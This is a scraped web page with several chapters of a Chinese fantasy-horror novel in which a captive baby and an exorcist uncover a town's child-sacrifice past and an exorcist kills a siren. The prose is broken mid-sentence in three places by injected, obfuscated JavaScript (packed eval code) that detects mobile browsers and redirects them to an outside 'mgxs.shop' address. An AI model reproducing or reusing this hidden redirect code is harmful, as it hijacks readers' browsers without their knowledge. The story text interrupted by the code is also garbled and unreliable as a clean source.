挂断电话后半小时,他的银行账户收到了一笔5万米刀的汇款。谢利将钱付给威斯特,当天下午, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16574434|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位驱魔人身穿长风衣的身影就出现在了普卡蒂镇的入口。 “先带我去你口中的那个博物馆……关于女妖的身份,我已经有了猜测,现在还差一些东西需要进一步调查验证。” 威斯特扶着帽檐,朝面前满脸憔悴的谢利说。 …… 埃弗莉趴在石台上,用手摩挲着下方的浮雕,凑近以后寸寸观察。 或许是在黑暗环境待久了,她现在看东西比一开始清晰了很多,不再会错过一些需要注意的细节。 连蒙带猜着看完了最后一块浮雕画,埃弗莉长舒了口气。 这段时间——照例,因为缺少时钟,埃弗莉无法说清具体多久——总之,花费了相当长一段时间,一边在石台爬上爬下,一边还要随时安抚女妖不稳定的情绪,经历了艰苦卓绝的努力,埃弗莉终于把石台上所有的浮雕画看完,并从中拼凑出了完整的故事。 浮雕画的主角就是海中女妖,她过去似乎曾是某个古老国度的女王,头戴王冠,美丽异常。后来,一个头戴桂冠、手拿权杖的大胡子男人偶遇了女王,一见钟情,开始对女王进行追求。男人的身份似乎很尊贵,埃弗莉注意到,女王第一次见到他时,身为女王的她居然是跪着的,且态度充满了敬畏。 下一幅浮雕,女王和男人在一起了,两人还有了好几个孩子。可男人本身是有妻子的,她就躲在浮雕画右上角的云层后,满是恶意地看着两人。埃弗莉当时就觉得不妙,果然,再往后的浮雕画,那位恶毒的夫人作妖了。她为了报复女王,将女王的孩子全部抓起,当着女王的面残忍杀害。再下一幅,夫人也没放过女王,她用诅咒将女王变成了人身蛇尾的女妖。 失去孩子的女妖从此思念成狂,游荡在世间,成为了四处猎杀吞食孩童的怪物。而直到浮雕画的结尾,一直隐身的万恶之源、那个花心又懦弱的男人才再度出现。他畏惧他的妻子,不敢解开妻子的诅咒,又对女王充满愧疚,于是,作为补偿,他偷偷给变成蛇妖的女王赐福,给了她一双能看到未来的眼睛。 埃弗莉:啊呸!就这?……渣男去死! 浮雕画的信息如一根绳索,将看似无关的线索全部串联了起来:拥有预知能力的女妖,提前警示灾祸的先知,突然发现的金矿,不断消失的儿童……提示太明显,埃弗莉稍作思考,就猜到了掩埋在历史长河中的真相。 原来,不是小镇出现了女妖,而是先有人借助女妖的预知力量获悉了金矿的所在,再有了因金矿而出现的普卡蒂小镇。这个石室,大概是索克迪斯一直以来偷偷供养女妖的场所,因为埃弗莉在年代最久远的那堆尸骨里发现了一些快要烂成渣的绳索,如果是女妖抓来的孩子,根本不会用到绳子捆绑。 拿镇民的孩子供养女妖,再用借来的预言能力获取尊敬、地位和金钱,真是够恶心的一家子……好在普洛斯家族最后遭到了反噬,血脉直接断绝,也算是恶有恶报。 不过,既然能借用预言能力,说明女妖是可以沟通的,怎么她眼前的女妖就跟和她有壁一样,这么难搞呢? 想到这,埃弗莉不由满脑门问号。 14.女妖 其实要说不同,不仅是智慧,在外貌上,海中女妖也与壁画的描述相距甚远。 壁画上的女王,即便成为了女妖,依旧是美丽的,甚至因迥异人类的外形,平添了几分魅惑。而她面前的女妖,却像是将分尸后的腐烂尸块重新拼凑出来的样子,充满了让人不适的违和感……历史博物馆中有提到,女妖曾被镇民分尸镇压,后来莫名其妙又复活了,难道是因为这个缘故? 埃弗莉想不明白。 缺乏一些关键信息,关于普卡蒂的过往,有好些谜团埃弗莉都无法参透,女妖的异样只是其中微不足道的一点罢了。 她最好奇的是,第二任镇长阿奇里斯执政期间,为什么失踪儿童会大量增加,其中甚至包括镇长自己的女儿;又为什么,明明自己的家族因女妖的预言能力才获得崇高的地位,阿奇里斯却要亲自带领镇民剿灭女妖?总不能是他良心未泯,不愿再看到镇民失去孩子吧。 好在,与问题相比,研究壁画的收获显然更多。 比如,关于上回女妖当面发狂的诱因,她已经猜到了,应当是血。 海中女妖曾亲眼目睹自己孩子被虐杀的场景,或许正因此,她很容易被幼童身染鲜血的样子刺激到。现在想来,当日正是看到了埃弗莉嘴角被划破时渗出的血液,海中女妖才忽然陷入狂暴的。 这提醒埃弗莉,想在女妖手里活得久一些,她最好避免让自己受伤。 一边想,埃弗莉一边小心避开地上的碎石和尖骨片,在死尸间仔细翻找。 研究过石台和上面的供桌,为了打发苏醒时漫长的无聊时间,她已经把探索区域扩展到了地面。 地上的尸骨看着吓人,和它们一起待久了,埃弗莉不习惯也习惯了。何况,从这些尸体身上的衣服里,还可能摸出各种各样稀奇古怪的东西——玻璃弹珠、塑料兵人、木头弹弓、装糖块用的小玻璃瓶…… 看到其中的玻璃瓶,埃弗莉眼前一亮。她觉得自己完全可以用尸体身上摸到的这些破铜烂铁做一些东西,尝试向岸边传递信息。 她目前只有六个多月大,哪怕有女妖的乳汁提升身体机能,也顶多在地上爬得快上一些,要让她超越这个年龄段的极限,从四脚兽进化到完全体两脚兽,一路逃出洞穴,再横穿大海去到岸上,那属实有点为难人。因此,想摆脱女妖回到陆地,还得靠岸上人的努力。 渣爹谢利是什么德行,埃弗莉再清楚不过。凭他的脑子,想破了天也不一定能想到女妖的老巢藏在灯塔下。她得给岸上一些提示。 于是,埃弗莉的趣味手工活动开始了。 她先拿起那只小玻璃瓶,观察了一阵。瓶子不大,保存完好,软木做的瓶塞被一根细绳拴在瓶口,时间过了这么久,居然还没烂,看上去密封性不错。 埃弗莉决定做个漂流瓶。 她先前观察过,那片女妖带她排泄的小水池,其实与海面是连通的。把瓶子塞上塞子,放进小水池,在合适的时候,它会被水流推着,沿半指高的低矮通道一路朝外,飘到石室外广阔的海面上。 至于瓶子里应该放些什么,埃弗莉也早就有了想法。她在自己身上摸索了一阵,找到婴儿服上一颗纽扣,“啊啊”拜托女妖妈妈用爪子将纽扣线割断,把这颗代表自己的纽扣塞进瓶子里。随后,她又在四处一顿寻摸,从地上找到一片掉落的蛇鳞和一块灯塔区域特有的浅白色石头,也一并塞进了瓶子。 埃弗莉手上没什么力,做完这些,她把塞子放在瓶子口,拇指作势在塞子上按压了几下,然后抬起头,用水汪汪的大眼睛看向女妖。 “#%¥……” 经过最近的磨合,女妖阅读埃弗莉肢体语言的能力得到了直线提升。她伏下身子,用长尾把埃弗莉圈在中心,确认这期间女婴不可能遭受外界的任何伤害,这才伸手从女婴那里接过瓶子,学着埃弗莉的样子用手爪中段按住瓶塞,小心翼翼往下面按。 埃弗莉本来还担心女妖力气太大,会不会不小心弄坏了玻璃瓶,没想到女妖把事情完成得又好又快。等瓶子回到埃弗莉手中,瓶塞已经完美堵在了瓶子口。 “哇哇!”埃弗莉深知情绪反馈的重要性。为表达激动与赞赏,她伸手一把抱住女妖的尾巴,抬起头朝女妖“咯咯”笑。 女妖见状眼睛弯起,也异露出了高兴的模样。 她拿尾巴尖卷住埃弗莉,将小小的女婴托在尾巴上轻轻颠了两下,像是在陪小宝宝玩闹。等小婴儿笑够了松开手,女妖弯下腰,搂住小宝宝抱回怀里,稀罕地闻了好一会儿。随后,这么多日来,她第一次主动松开手,将看得如珠如宝的埃弗莉放回地上,自己飞快爬行到水潭边,背朝后往水面一倒—— 只听“噗通”一声轻响,水花飞溅中,女妖庞大的身躯迅速消失在漆黑的水潭里。 埃弗莉直接看呆了。 她岔开双腿,光屁股坐在尸骨堆摸来的破布上,盯着水面看了半天,疑惑女妖出去做什么。因为太过好奇,一时间连手工都没心思做了。 如是等待了大约五分钟,“哗啦”声起,一头海藻般的漆黑长发破开水面。像个收破烂的阿婆,海中女妖拎着只装满各式各样玻璃瓶的破渔网,游回了石室里。 她原来是下水给埃弗莉找瓶子去了。 女妖一回到石室就丢下渔网,急匆匆游到埃弗莉身边,像个戒断反应发作的瘾君子,抱住埃弗莉一个劲嗅。埃弗莉理解女妖的焦虑不安,在孩子被虐杀后,她便时刻处于失去的恐惧中,每时每刻都需要抱着怀中的女婴。这样的女妖,为了满足埃弗莉的心愿,居然能克服天性,放下孩子去找瓶子,谁看了不赞一声母爱伟大。 因此,埃弗莉没有嫌弃女妖腥臭潮湿的怀抱,伸长胳膊,真心实意地回抱住女妖的脖子,在女妖的后脑轻轻地摸。一人一妖安静地拥抱了一会儿,气氛是前所未有的温馨。 等从埃弗莉身上汲取够了能量,女妖兴奋地甩动长尾,重又变得生龙活虎。她返身回到水潭边,将地上的破渔网拎起,带着“叮叮咣咣”一堆玻璃瓶走到埃弗莉面前,尾巴尖一扫,献宝似地将瓶子全部堆到了埃弗莉手边。 看到这堆瓶子,埃弗莉心情一阵复杂。 女妖只知道小宝宝想要瓶子,却不清楚她亲自找回的这些瓶子,将被埃弗莉装进各种提示线索,当成“漂流瓶”丢出,吸引岸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16581373|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边人来救人。她是真的把埃弗莉当成了亲女儿在养,而埃弗莉却一心只想着逃离。 埃弗莉想要叹气。 她真的没办法,因为她是人类,不可能一辈子在石室里陪女妖的。 哎…… …… 对于阿奇里斯带镇民斩杀女妖一事,埃弗莉尚心存不解,远在海洋那端的陆地上,驱魔人威斯特只花了一个下午,却已然查清原委。 “……你觉得阿奇里斯这是幡然悔悟,想要为家族的罪行赎罪?不不不,当然不。他可没有那么崇高。看这里,‘1814年,由于金矿产量减少,镇政府邀请雅利吉佛大学地质系教授前来矿场勘测,结果显示普卡蒂镇地下的砂金矿已经开采殆尽,即将枯竭’……你还记得历史博物馆的记载吗,警长帕蒂亚接手了小镇的儿童失踪案,调查发现,从1815年往后,小镇儿童的失踪进入集中爆发期。” “是、是的,然后呢?”谢利不明白前后两件事有何关联,成熟的大叔脸上满是儿童般的清澈迷茫。 好在威斯特并不在乎谢利懂没懂。他只是需要一个听众,方便他用对话的形式梳理那些从镇政府资料室获得的零散信息而已。 小镇博物馆对外展示的只有经后人粉饰加工的、最浅显表层的历史,想要挖掘过往的真相,必须借助其他手段。为此,威斯特动用了一些人脉关系,获得了镇政府大楼资料室的进入许可,并从其中找到了自己想要的信息—— “金矿是普卡蒂的命脉,一旦金矿枯竭,繁荣的小镇会立刻走向衰落。阿奇里斯希望像父亲一样,在旧金矿枯竭前找到新的金矿,延续小镇的荣光。于是,从1815年往后,他加大了向女妖献祭的频率,导致当时的儿童失踪案激增。阿奇里斯希望女妖为他找到新的金矿,可他失败了——毕竟,女妖的能力只是预知,而不是改变现实。普卡蒂的金矿只有四条,她注定无法满足阿奇里斯的心愿。” “长时间的高频率投喂养大了女妖的胃口,偏偏在此时,警局调来了一位从外地赴任的新警长,帕蒂亚警长耿直地接手了儿童失踪案,将小镇持续了几十年的儿童失踪捅到了明面上,祭品的获得变得越发困难。再往后,饥饿的女妖失去控制,开始亲自捕猎,阿奇里斯的女儿也因此消失……” “我懂了!女儿被抓激怒了阿奇里斯,他觉得女妖的预言能力不再有用,希望摆脱这个麻烦,就用自己的儿子为诱饵,带领镇民剿灭了女妖!”谢利恍然大悟。 但他精妙绝伦的推理只换来威斯特遗憾的摇头。 这位气质独特、性格不羁的驱魔人以手支颌,慵懒地依靠在丝绒沙发上,甩手丢给谢利一沓文件:“不,谢利,你看得还是太表面了。看这几份政府财政简报,从1817至1820年,普卡蒂政府陆续以市场价收购了一条矿脉、两座酿酒作坊和一座赛马场……如果你仔细翻阅,会发现这些都是普洛斯家族名下的产业,而以当时普卡蒂镇的繁荣,这些产业都还在盈利——你觉得,人在什么时候会大量出售家中的恒产呢?” 谢利想了想,回答:“在想要离开的时候?” 难道阿奇里斯想离开普卡蒂镇? 15.女妖 听到谢利的猜测,威斯特打了个响指:“没错。正如你说的那样,因为对普卡蒂镇的未来失去信心,阿奇里斯产生了离开这里另寻发展的念头。在普卡蒂过习惯了受人尊崇的生活,他此次离开,自然要把女妖一起带走,好继续扮演他的‘先知’——可他显然无法很好地控制女妖,我猜这也是女妖失控,在镇上大肆捕猎的原因。” “不得已,阿奇里斯只能将女妖的存在捅到明面上,希望借助镇民的讨伐削弱女妖,再趁女妖虚弱之际,强行捕捉,将女妖带走……看这份清单,上面详细记载了剿灭女妖前镇政府集中采购的武器,全是凡俗铁器,只能让女妖受伤,但无法杀死女妖。在明知海中女妖真身的情况下仍一力促成了此次采购,阿奇里斯的心思昭然若揭。” 谢利皱眉:“可博物馆中写的是,女妖被杀死分尸,彻底镇压了……” “因为事情出现了变数。”威斯特说,“阿奇里斯自以为胜券在握,不料在讨伐女妖的途中,一名驱魔人突然光顾了小镇。那位驱魔人给了镇民许多建议,身为明面上的小镇英雄,阿奇里斯无法明着阻拦对方,于是,阴差阳错,镇民们成功镇压了女妖……后面的故事,你应该猜到了吧?” 谢利点点头。都分析到这个地步了,再猜不到后续,他就得去医院看看脑子了。 ——阿奇里斯因自己的筹谋遭到反噬,失去了仅剩的儿子。女妖被封印后,他沉浸在悲痛中,心灰意冷,放松了对小镇的掌控。麦考夫趁机蛊惑镇民举办祈神仪式,企图再造一名新的先知。他们不知道,仪式祈求的所谓“神明”正是被他们镇压的海中女妖。好笑的是,当唯一知晓真相的阿奇里斯良心发现,企图阻止这一切,镇民们却杀死了他。 在贪婪的驱使下,人们举办了一次又一次仪式,终于,封印破开,女妖归来,丧子的阴霾重新笼罩了整个小镇…… “可是,了解这些故事又有什么用呢?我只想尽快找回我的孩子。”谢利皱着眉头,鼓足勇气问。 威斯特从鼻腔发出了一声哼笑:“当然有用。如果没猜错,海中女妖的真身就是希腊神话中的蛇身女妖拉弥亚。这可是在历史上确有记载的神话生物,理论上讲,只要有关她的记忆不曾从人类族群中消失,她就永远不死不灭。” “对于这样接近‘概念级’的存在,普通的驱魔手段是无效的,必须找到她的弱点,才能将她驱逐出我们的世界——就好比要杀死蛇妖美杜莎,只能使用传说中诸神赠与的圣剑赫帕尔一样,能镇压拉弥亚的,也只有特定物品。” 驱魔人说到这,又甩手丢了一本希腊神话给谢利,也不知道是从哪里变出来的。 “……看第83页,‘赫拉为了报复拉弥亚,夺去了拉弥亚的睡眠,每当睁眼时,孩子惨死的样子就不断在拉弥亚眼前上演,让她忆子成狂,活在无止境的悲痛与怨恨中。宙斯对拉弥亚心存愧疚,他赐予了拉弥亚一双能看到未来的眼睛,和自由取下眼睛的能力。当取下眼睛时,拉弥亚将陷入沉睡,遗忘一切的痛苦和烦恼’。根据这一段话,我推测,我们要找的应该是拉弥亚的指甲。用它取下女妖的眼睛,再将眼睛毁掉,就能彻底将她镇压——前提是没有人再度召唤她。我想,过去的那位驱魔人应该也是这样做的。” 谢利的脸一下子垮了:“可我们连女妖的巢穴在哪里都不知道,又要从哪里弄到女妖的指甲呢?” “谁说我们不知道。”威斯特此时已经从沙发上站了起来。看到谢利还在原地愣着,他抬手扣上礼帽,一抖衣袍,背身朝谢利做了个招手的动作:“跟上来吧,我已勘破此次案件的谜团。接下来,我们得先往墓地一趟。” “……啊,好、好的!”谢利急忙抬步追了上去。 他揣着满肚子疑惑,驱车带威斯特去了小镇的公墓。小镇的第二任镇长、死在流血冲突中的阿奇里斯就葬在这里。愧疚于他的死亡,人们将阿奇里斯生前的随身物品陪同他一起下葬,威斯特认为,阿奇里斯既然兴起过带女妖一起离开的想法,手中肯定保留有女妖的指甲。 他从不知哪里拿出一把铲子,“啪”地丢到了谢利脚边,走到阿奇里斯坟墓旁,言简意赅:“挖!” 谢利抬手指向自己:“……我掘墓地,真的假的?” 威斯特环臂讽笑:“难道要我来?” “……”被对方气势所摄,谢利不敢废话,举起铲子心惊胆战地挖了起来。 一小时后,坟墓掘开,从棺木的随葬品中,两人找到了一柄手掌长短的匕首。时隔百余年,匕首的状态依旧完好,拔出刀鞘,匕首里面没有刀刃,而是一根弯月形的漆黑尖爪。 “找到了。”威斯特抬手轻抚锋利的爪尖,举起匕首对月观察了片刻,脸上浮现一抹满意,“很好,是真货。万事俱备,接下来,该动身去找你的女儿了。” 语毕,驱魔人风衣下摆一扬,率先举步朝汽车的方向走去。 谢利连忙小跑着跟上去,边跑边问:“您知道她在哪里?远吗,能马上赶到吗?” “这是很简单的推理——还记得小镇的四条禁令吗?” 车辆的打火声响起,中间穿插着谢利喃喃的背诵:“不要带孩子去海边,不要在雾天将孩子带出门,不能在雾中晾晒孩子的衣物,别让孩子照射到灯塔的光。” 威斯特点头:“拉弥亚是海神波塞冬的女儿。海洋是她天然的领地,从海中飘来的雾气则是她延伸向陆地的眼睛——如此,前三条禁令就很好理解,核心思想都是让孩子避开女妖的注视。那么,你有思考过,最后一条禁令为什么会牵扯到‘灯塔’吗?” “莫非……” 威斯特笑:“自然是因为,女妖的巢穴,就在灯塔下。” 语毕,他不再废话,一踩油门,便驾驶车辆,朝远方的码头驶去。 普卡蒂镇周边的海域礁石密布,缺少良港,想到达远处的灯塔,要么划船舱极浅的木头小船,要么绕路到五公里外的小码头,去那里乘坐快艇。 海中灯塔废弃太久,岸边的木船缺乏维护,早已经损坏。两人选择的是去码头租快艇。 谢利为此又付了好大一笔租船费,本就干瘪的钱包雪上加霜。 当然,如果能救回埃弗莉,一切都是值得的。怕就怕过了这么长时间,埃弗莉已经被拉弥亚吃掉了…… 思考进行到这戛然而止。经历过一晚上紧张刺激的查资料和挖坟,此时已经晨光熹微。借着天边那抹鱼肚白,谢利敏锐地发现,在不远处的水面上漂着一个闪亮亮的玻璃瓶,瓶子里还装了零零碎碎几样东西。 “那是……” 他眯起眼,在快艇经过的瞬间,举起船上的抄网,一把网住了那只瓶子。 …… 埃弗莉做了个梦。 以她当前的脑容量,很少会做情节这样跌宕起伏的梦。 梦中,她看到曾成功解决了五月花公寓事件的驱魔人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16585741|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威斯特拎着一盏金色的油灯,破解了灯塔底部的老旧机关,顺着后方的暗道,孤身一人进入了地下石室。 那盏油灯似乎是什么道具,灯光泛黄,乍一看只是普通的照明工具。然而,当昏黄的灯光照射在女妖身上时,光线中竟像蕴含了烈焰炙烤的高温,所过之处,女妖青白的皮肤被烫得皮肉卷曲,一片焦黑。 “啊啊啊!” 女妖发出了一阵凄厉的尖叫,声音尖锐,直穿耳膜。为了守护巢穴与女儿,她与闯入者展开了激烈的搏斗。 女妖体型庞大,力量远超过正常人,轻轻一击就能拍断粗壮的石柱。然而,明明是血肉之躯,威斯特却丝毫不惧女妖的攻击。他脱掉了珍惜无比的长风衣,露出下方黑色的短款紧身衣,动作之间,肩膀手臂浮现结实的肌肉轮廓。 透过衣料的孔洞,埃弗莉看到,包括双臂在内,威斯特脖子以下的全身皮肤都用不知名字符书写着密密麻麻的经文。当女妖的蛇尾裹挟着凌厉风声向他砸落时,那些经文纷纷亮起银白的光芒,从威斯特体表浮起,形成一层无形的屏障,稳稳接住对面的进攻。 借助这身古怪的经文,威斯特视女妖的攻击如无物,手拎油灯,如闲庭信步,稳稳绕过蛇尾形成的防线,来到了海中女妖近前。 他抬手一扬,将灯中金色的液体尽数倾倒在女妖身上。 “啊啊啊啊啊啊!” 液体与身体接触,便如高浓度硫酸泼上肉体凡胎,所过之处,骨肉尽化,腾起一阵白色的烟雾。刺鼻的皮肉烧灼味充斥了整个空间,女妖仰头痛苦地嘶吼着,长尾在地上胡乱扫过,激起一阵尘土飞扬。 趁此时机,威斯特一个滑步轻巧避开乱拍的蛇尾,来到女妖侧后方,目标明确,一把从岩石后抓住了被女妖藏起来的埃弗莉。 戴着露指手套的右手张开,重重压上女婴脆弱的脖子,毫无疼惜与怜悯,驱魔人一把扼住了埃弗莉的脖颈。 当女妖体表的伤势缓慢愈合,从痛苦中回神时,转头对上的,是埃弗莉因窒息而涨红的脸。 “@%#……” 挟持着小小的女婴,威斯特张口,吐出一串发音和女妖类似的话。女妖听懂了他的话,她焦急又担忧地注视着被掐住咽喉的女婴,红瞳中爆发出强烈的痛苦、眷恋与不甘。然而,时间不等人,眼见埃弗莉脸色涨红,气若游丝,在强烈的母性驱使下,女妖结束了短暂的挣扎。 她像一只被牵上祭台的羔羊,低垂头颅,摆出了引颈受戮的姿态。 “呼~” 威斯特见状打了个呼哨。保持着单手挟住埃弗莉脖颈的姿势,他左手抬起,轻轻抖腕,从不知哪里变出一把通体漆黑的弯月形匕首,走到女妖近前,用匕首粗鲁地托起女妖的下巴,尖端对准女妖的眼睛,猛地用力朝下一挖—— 飞溅的血液中,一双鲜红的眼球飞出海中女妖的眼眶,落在了不远处地上。 女妖的呼吸戛然停止。 眼球离体的瞬间,埃弗莉看到灰白的颜色从面部开始,飞快爬上女妖的全身。不过一眨眼工夫,女妖竟保持着站立的姿态,原地化为了一座石像。 随后,威斯特松开掐住埃弗莉的手,改为将她夹在腋下,抬脚走到滚落的眼球前,面无表情踩了上去。 “啪叽。” 轻轻一声,如细雪落在松枝。 下一秒,矗立的石像轰然倒塌,化作了一地淋漓的碎肉。 ……